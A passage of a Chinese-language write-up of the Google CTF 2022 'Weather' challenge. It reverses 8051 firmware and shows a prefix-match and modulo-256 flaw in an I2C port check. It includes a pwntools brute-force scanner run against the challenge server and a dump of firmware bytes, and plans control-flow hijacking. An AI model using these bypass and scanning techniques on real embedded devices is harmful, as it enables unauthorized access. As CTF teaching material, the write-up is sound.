<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xf2</span><span class="p">)</span> <span class="n">SERIAL_OUT_DATA</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xf3</span><span class="p">)</span> <span class="n">SERIAL_OUT_READY</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xfa</span><span class="p">)</span> <span class="n">SERIAL_IN_DATA</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xfb</span><span class="p">)</span> <span class="n">SERIAL_IN_READY</span><span class="p">;</span>
<span class="c1">// I2C DMA controller.</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe1</span><span class="p">)</span> <span class="n">I2C_STATUS</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe2</span><span class="p">)</span> <span class="n">I2C_BUFFER_XRAM_LOW</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe3</span><span class="p">)</span> <span class="n">I2C_BUFFER_XRAM_HIGH</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe4</span><span class="p">)</span> <span class="n">I2C_BUFFER_SIZE</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe6</span><span class="p">)</span> <span class="n">I2C_ADDRESS</span><span class="p">;</span> <span class="c1">// 7-bit address</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xe7</span><span class="p">)</span> <span class="n">I2C_READ_WRITE</span><span class="p">;</span>
<span class="c1">// Power controller.</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xff</span><span class="p">)</span> <span class="n">POWEROFF</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xfe</span><span class="p">)</span> <span class="n">POWERSAVE</span><span class="p">;</span>
</code></pre></div></div>
<p>使用的时候也就是对目标寄存器进行读写,比如串口:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">serial_print</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">SERIAL_OUT_READY</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Busy wait...</span>
<span class="p">}</span>
<span class="n">SERIAL_OUT_DATA</span> <span class="o">=</span> <span class="o">*</span><span class="n">s</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">char</span> <span class="nf">serial_read_char</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">SERIAL_IN_READY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">SERIAL_IN_DATA</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">POWERSAVE</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// Enter power save mode for a few milliseconds.</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>并且可见存储flag的内部ROM的读取也是通过sfr:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xee</span><span class="p">)</span> <span class="n">FLAGROM_ADDR</span><span class="p">;</span>
<span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xef</span><span class="p">)</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
</code></pre></div></div>
<p>因此最后读取flag的方法,应该就是向FLAGROM_ADDR写入读取flag的偏移,然后从FLAGROM_DATA逐个字节读出flag,大概逻辑如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">}</span> <span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">255</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">FLAGROM_ADDR</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>结合串口输出的逻辑:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">a</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="mi">255</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="n">FLAGROM_ADDR</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">FLAGROM_DATA</span><span class="p">;</span>
<span class="n">SERIAL_OUT_DATA</span> <span class="o">=</span> <span class="n">a</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="8051内存类型">8051内存类型</h4>
<p>还有一个是<code class="language-plaintext highlighter-rouge">__xdata</code>关键字:</p>
<ul>
<li><a href="https://blog.csdn.net/zhcxrs/article/details/3132251">8051 内存类型</a></li>
<li><a href="https://www.jianshu.com/p/5202d3af1f24">8051 扩展内存</a></li>
<li><a href="https://blog.csdn.net/mcgrady_tracy/article/details/18267023">8051存储区布局</a></li>
<li><a href="https://adamsq.github.io/blog/2015/05/05/sdcc4/">sdcc man阅读笔记(四)——存储类型关键字</a></li>
<li><a href="https://blog.51cto.com/u_15284384/3052162">CC254x 中 data、idata、xdata 和 pdata 区别以及堆 Heap 内存布局 </a></li>
</ul>
<p>其实就是内部RAM太小,只有128字节,而需要使用的buffer较大,有384字节,所以使用<code class="language-plaintext highlighter-rouge">__xdata</code>关键字将其放到较大的外部RAM上:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
</span><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">serial_print</span><span class="p">(</span><span class="s">"Weather Station</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">static</span> <span class="n">__xdata</span> <span class="kt">char</span> <span class="n">cmd</span><span class="p">[</span><span class="n">CMD_BUF_SZ</span><span class="p">];</span>
<span class="k">static</span> <span class="n">__xdata</span> <span class="kt">uint8_t</span> <span class="n">i2c_buf</span><span class="p">[</span><span class="n">I2C_BUF_SZ</span><span class="p">];</span>
</code></pre></div></div>
<h3 id="编译">编译</h3>
<p>找到编译工具:<a href="https://sdcc.sourceforge.net/">SDCC - Small Device C Compiler</a>,还直接提供MAC版的二进制,尝试编译题目代码还真成功了:</p>
<ul>
<li><a href="http://www.51hei.com/bbs/dpj-190291-1.html">开源SDCC编译器(一)–基本介绍 </a></li>
<li><a href="https://adamsq.github.io/blog/2015/05/05/sdcc4/">sdcc man阅读笔记(四)——存储类型关键字</a></li>
<li><a href="https://www.maximintegrated.com/cn/design/technical-documents/app-notes/3/3477.html">使用免费的SDCC C编译器开发DS89C430/450系列微控制器固件</a></li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">ls</span>
<span class="n">Device</span> <span class="n">Datasheet</span> <span class="n">Snippets</span><span class="p">.</span><span class="n">pdf</span> <span class="n">firmware</span><span class="p">.</span><span class="n">c</span>
<span class="err">➜</span> <span class="p">..</span><span class="o">/</span><span class="n">sdcc</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sdcc</span> <span class="p">.</span><span class="o">/</span><span class="n">firmware</span><span class="p">.</span><span class="n">c</span>
<span class="err">➜</span> <span class="n">ls</span>
<span class="n">Device</span> <span class="n">Datasheet</span> <span class="n">Snippets</span><span class="p">.</span><span class="n">pdf</span> <span class="n">firmware</span><span class="p">.</span><span class="n">lk</span> <span class="n">firmware</span><span class="p">.</span><span class="n">rel</span>
<span class="n">firmware</span><span class="p">.</span><span class="n">asm</span> <span class="n">firmware</span><span class="p">.</span><span class="n">lst</span> <span class="n">firmware</span><span class="p">.</span><span class="n">rst</span>
<span class="n">firmware</span><span class="p">.</span><span class="n">c</span> <span class="n">firmware</span><span class="p">.</span><span class="n">map</span> <span class="n">firmware</span><span class="p">.</span><span class="n">sym</span>
<span class="n">firmware</span><span class="p">.</span><span class="n">ihx</span> <span class="n">firmware</span><span class="p">.</span><span class="n">mem</span>
</code></pre></div></div>
<p>虽然没编译出ELF,但其中:</p>
<ul>
<li>firmware.ihx: 可在IDA中进行逆向</li>
<li>firmware.map: 固件代码函数符号表</li>
<li>firmware.rst: 源码与汇编对应关系</li>
</ul>
<p>而且其实<code class="language-plaintext highlighter-rouge">__sfr __at()</code>是就是SDCC特有语法,keil里定义SFR寄存器的语法是:</p>
<ul>
<li><a href="https://www.cnblogs.com/zy666/p/10504317.html">8051单片机的C语言编程</a></li>
<li><a href="https://blog.csdn.net/weixin_42131443/article/details/112050819">请写出sfr和sbit的语句格式_KEIL中的SFR和SBIT用法</a></li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sfr</span> <span class="n">P0</span> <span class="o">=</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="n">sfr</span> <span class="n">P1</span> <span class="o">=</span> <span class="mh">0x90</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="逆向">逆向</h3>
<p>通过对ihx逆向以及汇编,了解8051的机器码以及内存布局,也可以对特殊功能寄存器有更深刻的理解。在IDA的segments窗口中可以看到其识别出三段:</p>
<ul>
<li>code段比较大</li>
<li>RAM和FSR(SFR,特殊功能寄存器)都只有128字节</li>
<li>其实FSR也可以不看成内存,就看成寄存器就行了</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/segment.png" alt="image" /></p>
<p>对比IDA解析ihx的结果与firmware.rst可以确定0x3地址处的跳转就是跳向main函数,即IE0_0就是main函数:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/re_start.png" alt="image" /></p>
<p>在main函数中可以看到0x916指向的内存就是字符串<code class="language-plaintext highlighter-rouge">Weather Station</code>,因此code_123函数就是串口输出函数<code class="language-plaintext highlighter-rouge">serial_print</code>,并且通过这两句汇编与其对应的机器码可见,8051的汇编使用绝对地址是很常见的,对于没有什么地址随机化的内存,这无疑对shellcode是极好的:</p>
<ul>
<li>12 01 23: lcall code_123:</li>
<li>90 09 16: mov DPTR, #0x916</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/re_main.png" alt="image" /></p>
<p>我们关注一下SFR(特殊功能寄存器),因为在serial_print中最终通过<code class="language-plaintext highlighter-rouge">__sfr __at(0xf2) SERIAL_OUT_DATA</code>将数据输出:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__sfr</span> <span class="n">__at</span><span class="p">(</span><span class="mh">0xf2</span><span class="p">)</span> <span class="n">SERIAL_OUT_DATA</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">serial_print</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">SERIAL_OUT_READY</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Busy wait...</span>
<span class="p">}</span>
<span class="n">SERIAL_OUT_DATA</span> <span class="o">=</span> <span class="o">*</span><span class="n">s</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>我们来关注一下这段最终的汇编,如下,通过对0xf2特征的定位,可以确定 <code class="language-plaintext highlighter-rouge">0xf5 0xf2: MOV CML6,A</code> 这句为向0xf2这个特殊功能寄存器写入,其值由A寄存器传递:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/re_serial.png" alt="image" /></p>
<p>更多8051二进制相关可以参考:</p>
<ul>
<li><a href="http://www.enroo.com/support/category1/dpjrmzs/71423002.html">8051单片机的寄存器</a></li>
<li><a href="https://blog.csdn.net/u010835747/article/details/119993636">8051汇编指令集</a></li>
<li><a href="https://blog.csdn.net/DP29syM41zyGndVF/article/details/115878673">C51中函数调用时参数是怎么传递的?</a></li>
</ul>
<h2 id="交互">交互</h2>
<p>通过阅读源码以及直接与服务器进行交互测试,可以了解其交互功能为读写I2C设备,读写命令分别为:</p>
<ul>
<li>读:<code class="language-plaintext highlighter-rouge">r I2C_port size</code></li>
<li>写:<code class="language-plaintext highlighter-rouge">w I2C_port size byte byte byte byte ...</code></li>
</ul>
<p>例如读温度传感器:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">nc</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="mi">1337</span>
<span class="o">==</span> <span class="n">proof</span><span class="o">-</span><span class="n">of</span><span class="o">-</span><span class="n">work</span><span class="o">:</span> <span class="n">disabled</span> <span class="o">==</span>
<span class="n">Weather</span> <span class="n">Station</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101</span> <span class="mi">8</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">22</span> <span class="mi">22</span> <span class="mi">21</span> <span class="mi">35</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
<span class="o">-</span><span class="n">end</span>
</code></pre></div></div>
<p>写温度传感器,不过因为是传感器,应该是只读的,所以写入失败:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">?</span> <span class="n">w</span> <span class="mi">101</span> <span class="mi">8</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span> <span class="mi">1</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101</span> <span class="mi">8</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">22</span> <span class="mi">22</span> <span class="mi">21</span> <span class="mi">35</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
</code></pre></div></div>
<h2 id="漏洞">漏洞</h2>
<p>可以在源码中发现,对于I2C的port是有函数进行检查的,仔细审计发现这个检查有个bug,即端口前缀匹配即可跳出检查循环,例如101端口是允许的,则101221端口也可以通过此函数的检查:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">is_port_allowed</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">port</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">allowed</span> <span class="o">=</span> <span class="n">ALLOWED_I2C</span><span class="p">;</span> <span class="o">*</span><span class="n">allowed</span><span class="p">;</span> <span class="n">allowed</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pa</span> <span class="o">=</span> <span class="o">*</span><span class="n">allowed</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pb</span> <span class="o">=</span> <span class="n">port</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">allowed</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">pa</span> <span class="o">&&</span> <span class="o">*</span><span class="n">pb</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">pa</span><span class="o">++</span> <span class="o">!=</span> <span class="o">*</span><span class="n">pb</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">allowed</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">allowed</span> <span class="o">&&</span> <span class="o">*</span><span class="n">pa</span> <span class="o">==</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后经过检查的字符串通过<code class="language-plaintext highlighter-rouge">str_to_uint8</code>函数转换为一个单字节数,可以看成对这个数进行模256的操作:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">uint8_t</span> <span class="nf">str_to_uint8</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">uint8_t</span> <span class="n">v</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">uint8_t</span> <span class="n">digit</span> <span class="o">=</span> <span class="o">*</span><span class="n">s</span><span class="o">++</span> <span class="o">-</span> <span class="sc">'0'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">digit</span> <span class="o">>=</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v</span> <span class="o">=</span> <span class="n">v</span> <span class="o">*</span> <span class="mi">10</span> <span class="o">+</span> <span class="n">digit</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">v</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>仍然以101221为例,那么转换完为101221 % 256还是101,和远程进行测试,可见101221和101的效果是一样的,因此应该可以使用这个方法访问到所有的I2C设备:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">nc</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="mi">1337</span>
<span class="o">==</span> <span class="n">proof</span><span class="o">-</span><span class="n">of</span><span class="o">-</span><span class="n">work</span><span class="o">:</span> <span class="n">disabled</span> <span class="o">==</span>
<span class="n">Weather</span> <span class="n">Station</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101</span> <span class="mi">8</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">22</span> <span class="mi">22</span> <span class="mi">21</span> <span class="mi">35</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
<span class="o">-</span><span class="n">end</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101221</span> <span class="mi">8</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">22</span> <span class="mi">22</span> <span class="mi">21</span> <span class="mi">35</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
<span class="o">-</span><span class="n">end</span>
</code></pre></div></div>
<p>另外为了方便,我们也可以找到以101开头并且%256为0的数:101120,然后从此数开始递增进行端口爆破扫描:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="mi">101000</span> <span class="o">%</span> <span class="mi">256</span>
<span class="mi">136</span>
<span class="o">>>></span> <span class="mi">101000</span> <span class="o">+</span> <span class="p">(</span><span class="mi">256</span> <span class="o">-</span> <span class="mi">136</span><span class="p">)</span>
<span class="mi">101120</span>
<span class="o">>>></span> <span class="mi">101120</span> <span class="o">%</span> <span class="mi">256</span>
<span class="mi">0</span>
<span class="o">>>></span> <span class="mi">101120</span> <span class="o">+</span> <span class="mi">101</span>
<span class="mi">101221</span>
</code></pre></div></div>
<h2 id="利用">利用</h2>
<p>能读写所有I2C设备又能怎样呢?如果EEPROM也可以通过I2C访问呢?那岂不是可以修改固件代码进行控制流劫持了!</p>
<h3 id="扫描i2c设备">扫描I2C设备</h3>
<p>代码中的I2C端口是个单字节整数,因此最多只有256个端口,不过I2C总线最大支持的设备是128个:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/google/max.png" alt="image" /></p>
<ul>
<li><a href="https://blog.csdn.net/z1026544682/article/details/90613205/">i2c总线最多可以挂多少个ic</a></li>
<li><a href="https://www.robot-electronics.co.uk/i2c-tutorial#:~:text=All%20of%20our%20modules%20and,be%20from%200%20to%20127.">I2C Device Addressing</a></li>
</ul>
<p>所以爆破扫描可以只循环128次:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="s">'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''</span>
<span class="k">def</span> <span class="nf">scan</span><span class="p">():</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"weather.2022.ctfcompetition.com"</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="n">test</span> <span class="o">=</span> <span class="mi">101120</span> <span class="o">+</span> <span class="n">i</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'?'</span><span class="p">,(</span><span class="s">"r %s 4"</span> <span class="o">%</span> <span class="n">test</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">)</span>
<span class="k">if</span> <span class="sa">b</span><span class="s">'device not found'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] %s: %s "</span> <span class="o">%</span> <span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">test</span><span class="p">),</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">scan</span><span class="p">()</span>
</code></pre></div></div>
<p>发现通过101153绕过检查实际为33号的I2C port可以访问:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="n">on</span> <span class="n">port</span> <span class="mi">1337</span><span class="o">:</span> <span class="n">Done</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101153</span><span class="o">:</span> <span class="mi">33</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n2</span> <span class="mi">0</span> <span class="mi">6</span> <span class="mi">2</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101221</span><span class="o">:</span> <span class="mi">101</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n22</span> <span class="mi">22</span> <span class="mi">21</span> <span class="mi">35</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101228</span><span class="o">:</span> <span class="mi">108</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n3</span> <span class="mi">249</span> <span class="mi">0</span> <span class="mi">0</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101230</span><span class="o">:</span> <span class="mi">110</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n78</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101231</span><span class="o">:</span> <span class="mi">111</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n81</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mi">101239</span><span class="o">:</span> <span class="mi">119</span>
<span class="n">b</span><span class="err">'</span> <span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span><span class="err">\</span><span class="n">n37</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="err">\</span><span class="n">n</span><span class="o">-</span><span class="n">end</span><span class="err">\</span><span class="n">n</span><span class="o">?</span><span class="err">'</span>
</code></pre></div></div>
<p>尝试读取,通过逆向自己编译的ihx对比可以确定这就是8051的二进制:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">nc</span> <span class="n">weather</span><span class="p">.</span><span class="mi">2022</span><span class="p">.</span><span class="n">ctfcompetition</span><span class="p">.</span><span class="n">com</span> <span class="mi">1337</span>
<span class="o">==</span> <span class="n">proof</span><span class="o">-</span><span class="n">of</span><span class="o">-</span><span class="n">work</span><span class="o">:</span> <span class="n">disabled</span> <span class="o">==</span>
<span class="n">Weather</span> <span class="n">Station</span>
<span class="o">?</span> <span class="n">r</span> <span class="mi">101153</span> <span class="mi">64</span>
<span class="n">i2c</span> <span class="n">status</span><span class="o">:</span> <span class="n">transaction</span> <span class="n">completed</span> <span class="o">/</span> <span class="n">ready</span>
<span class="mi">2</span> <span class="mi">0</span> <span class="mi">6</span> <span class="mi">2</span> <span class="mi">4</span> <span class="mi">228</span> <span class="mi">117</span> <span class="mi">129</span> <span class="mi">48</span> <span class="mi">18</span> <span class="mi">8</span> <span class="mi">134</span> <span class="mi">229</span> <span class="mi">130</span> <span class="mi">96</span> <span class="mi">3</span>
<span class="mi">2</span> <span class="mi">0</span> <span class="mi">3</span> <span class="mi">121</span> <span class="mi">0</span> <span class="mi">233</span> <span class="mi">68</span> <span class="mi">0</span> <span class="mi">96</span> <span class="mi">27</span> <span class="mi">122</span> <span class="mi">0</span> <span class="mi">144</span> <span class="mi">10</span> <span class="mi">2</span> <span class="mi">120</span>
